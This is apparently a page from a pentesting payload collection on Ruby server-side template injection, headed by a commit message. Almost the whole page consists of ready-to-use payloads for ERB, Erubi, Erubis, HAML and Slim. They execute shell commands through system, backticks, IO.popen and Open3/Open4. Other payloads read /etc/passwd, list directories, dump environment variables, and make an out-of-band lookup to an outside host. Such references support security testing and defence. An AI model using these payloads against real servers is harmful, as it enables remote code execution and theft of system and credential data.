vladko312 7fb2ff75d7 SSI:
- Added SSTImap to the tools, as it now supports SSI detection and exploitation
SSTI:
- Added description for known detection and exploitation techniques
- Added payloads for universal detection
- Added universal payloads for different languages
- Added Error-Based and Boolean-Based payloads
- Moved SpEL payloads using `T()` to the correct category
- Moved Pug payloads to the correct language and updated info to reflect the actual name

# Server Side Template Injection - Ruby
> Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.

## Templating Libraries
| Template Name | Payload Format |
|---------------|----------------|
| Erb | `<%= %>` |
| Erubi | `<%= %>` |
| Erubis | `<%= %>` |
| HAML | `#{ }` |
| Liquid | `{{ }}` |
| Mustache | `{{ }}` |
| Slim | `#{ }` |
## Universal Payloads
Generic code injection payloads work for many Ruby-based template engines, such as Erb, Erubi, Erubis, HAML and Slim.
To use these payloads, wrap them in the appropriate tag.
```ruby
%x('id') # Rendered RCE
File.read("Y:/A:/"+%x('id')) # Error-Based RCE
1/(system("id")&&1||0) # Boolean-Based RCE
system("id && sleep 5") # Time-Based RCE
```
## Ruby
### Ruby - Basic injections
**ERB**:
```ruby
<%= 7 * 7 %>
```
**Slim**:
```ruby
#{ 7 * 7 }
```
### Ruby - Retrieve /etc/passwd
```ruby
<%= File.open('/etc/passwd').read %>
```
### Ruby - List files and directories
```ruby
<%= Dir.entries('/') %>
```
### Ruby - Remote Command execution
Execute code using SSTI for **Erb**,**Erubi**,**Erubis** engine.
```ruby
<%=(`nslookup oastify.com`)%>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
Execute code using SSTI for **Slim** engine.
```powershell
#{ %x|env| }
```
